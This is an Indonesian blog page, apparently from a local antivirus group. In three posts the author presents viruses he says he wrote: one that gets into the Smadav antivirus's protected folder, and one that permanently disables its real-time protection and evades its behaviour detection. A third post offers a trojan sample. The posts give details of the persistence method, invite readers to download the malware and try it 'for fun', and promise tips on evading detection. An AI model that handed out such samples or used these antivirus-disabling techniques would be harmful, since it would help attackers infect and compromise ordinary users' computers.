Smad-Lock, Teknik Smadav Yang Tidak Aman Lagi

Smad-Lock tidak lagi aman!

Saya tidak tahu apakah saat ini sudah ada virus yang berhasil menyusup masuk ke smad-lock atau tidak. Tapi sejauh ini, semua virus lokal yang sudah diupload ke MorphostLab belum ada yang berhasil menyusup ke smad-Lock.

Ada dua kemungkinan jawabannya.
Jawaban pertama: sudah ada virus yang berhasil. Mungkin kebetulan saya belum punya atau belum tahu virus tersebut.
Jalaban Kedua: belum ada virus yang berhasil. Kalau memang demikian, virus yang sudah saya buat bisa disebut virus pertama yang menyusup smad-lock.

Sebelum meneruskan tulisan ini, kamu harus tahu dulu alasan kenapa saya menulis artikel ini. Tulisan ini ditulis bukan bermaksud untuk menyebutkan merek antivirus lain ataupun sebagai promo. Tapi saya menuliskan ini untuk kemajuan antivirus lokal lain.
Dimana Smadav (antivirus lokal yang saya maksud) merupakan antivirus lokal yang sangat besar pengaruhnya di Indonesia. Dan smadav juga cukup berperan dalam prinsip Morphost, yaitu mereplace posisi AV asing di Indonesia ini. Karena smadav, saya tidak menganggap smadav sebagai saingan dan memang semua antivirus lokal lain bukanlah saingan tapi teman seperjuangan.

Tujuan artikel ini adalah menambah pengetahuan reader supaya selangkah lebih maju dibanding para VM lokal. Sekaligus juga buat Mas Nafarin supaya AV-nya melangkah lebih maju lagi. Dan semakin tidak ada lagi celah kelemahan smadav.

Awalnya saya berpikiran apakah ada celah di smad-lock? Saya yakin mas Nafarin sendiri tahu bagaimana ’membolongi’ keamanan smad-lock (karena memang dia yang buat. Ha ha ha).
Kebetulan saya temukan cara untuk menyusup ke dalam smad-lock itu (saya yakin mas Nafarin tahu caranya. Dan beberapa VM lokal lain juga tahu bagaimana caranya), dan saya sudah buat satu sampel virus uji. Saya sebut namanya Morphirii-A.

Logikanya sangat mudah, dan sekali lagi saya tekankan bahwa banyak yang mungkin sudah berpikiran sama dengan saya. Source code virus ini untuk saat ini tidak akan saya sebarkan demi pencegahan penyebaran virus yang mirip dengan Morphirii ini.

Mudah-mudahan mas Nafarin tidak tersinggung adanya artikel ini. Ini demi warga indonesia yang ingin selamat dari virus. He he he…

Virus ini tidak berbahaya…
Virus ini menyebar ke
-folder system32 dengan filename ”morphirii.com”
Dan Morphirii ini tidak menyebar ke flashdisk, disket 3 stngah maupun disket 5 stengah (he he he.. emang masih ada?)

Virus ini hanya membuat startup saja.
-HKLM\software\microsoft\windows\currentversion\run\Morphirii”
Dan tidak ada efek lain selain startup

Kemudian virus ini akan mengecek setiap drive, apakah ada folder ”smad-lock”.

Siapa saja boleh coba virus ini untuk iseng-iseng. Silakan download.

download Morphirii

By : Morphost Antivirus News

Virus Chantiqs, satu-satunya virus matikan proteksi Smadav

Virus ini mungkin cukup kontroversial saat dirilis. Untuk itu, virus ini sengaja dibuat agar tidak menular. Begitu virus ini diaktifkan pada satu komputer, hanya komputer tersebut sajalah yang terinfeksi!
Virus Chantiqs ini adalah satu-satunya virus sekaligus virus pertama yang mematikan realtimeprotector milik Smadav. Ini artinya fungsi RTP milik smadav DISABLE alias disfungsi. Sampai saat ini, masih belum ada virus yang disubmit pada kami yang mampu mendisable proteksi smadav.
Mungkin anda masih ingat virus Morphirii varian A yang saya buat sekitar dua atau tiga bulan yang lalu. Virus tersebut mampu menembus smad-lock, memasukkan virus ke dalamnya sekaligus memodif file yang ada di dalamnya.
Saat dieksekusi virus ini akan menampilkan pesan pembuka seperti gambar berikut.

Nama virus ini (Chantiqs) sebenarnya bukan murni dari pikiran saya. Nama ini diberikan oleh dua teman sekampus saya. Dan saya rasa nama ini lebih bagus dan lebih cocok dibanding dengan nama virus Morphirii yang saya buat dulu. Dan memang sebenarnya virus Chantiqs ini termasuk virus Morphirii (virus Morphic). Intinya nama lain virus Chantiqs adalah Morphirii-B.
Ketika virus ini aktif, proteksi smadav akan mati! Dan smadav tidak dapat mengerahkan realtimeprotectornya untuk mendeteksi virus! Sekaligus meloloskan banyak virus lain dari deteksi smadav. Dalam hal ini smadav gagal!

Ketika virus Chantiqs diaktifkan maka proteksi smadav akan mati!
Perhatikan gambar dibawah ini sebagai pembuktian!

Yang paling mengagumkan dari virus Chantiqs ini adalah menonaktifkan proteksi Smadav secara PERMANEN selama virus ini MASIH HIDUP di komputer anda!!!

Silakan klik tombol “ACTIVATE” berulang-ulang. Terserah mau berapa kali. Mau seratus ribu kali pun tidak apa-apa.
Yang jelas hasilnya sia-sia. Proteksi smadav tidak akan bisa diaktifkan!
Selain itu virus ini juga lolos dari smad-behaviour yang dibanggakan oleh smadav. Di lain waktu mungkin saya akan jelaskan bagaimana cara agar virus-virus buatan anda lolos dari smad-behaviour.
Efek dari virus ini hampir tidak ada.
Saya sengaja tidak membuat virus ini menular, karena saya tidak suka virus buatan saya justru meresahkan orang. Virus ini hanya membuat satu startup pada registry hanya untuk mengaktifkan dirinya setiap kali komputer logon. Yang artinya, virus ini selalu logon ketika startup smadav berjalan. Chantiqs dan smadav berkompetisi untuk menang. Hasilnya virus Chantiqs menang.
Virus Chantiqs alias Morphirii-B ini tidak akan saya rilis ke komputer-komputer publik, karena tujuan virus ini dibuat adalah untuk mencari kelemahan-kelemahan antivirus lokal, agar pembuatnya mau memperbaiki atau menutupi kekurangannya.
Virus Chantiqs ini adalah satu-satunya virus sekaligus virus pertama yang mampu melakukan semua perbuatan kontroversial di atas. Mohon pembuat smadav menanggapinya.
silakan download virus Chantiqs ini
Download Virus Chantiqs
By: Morphic Karta

Makhluk baru di dunia Malware. Trojan Fanny.bmp

sebenarnya saya juga kurang yakin apakah ini trojan baru atau bukan.
tapi yang jelas di medan, tempat saya tinggal trojan ini sempat populer…
Trojan Fanny.bmp alias TR/Agent.156672.7 (Avira).
Tidak perlu banyak penjelasan.
silakan download sampelnya…

download
thanks!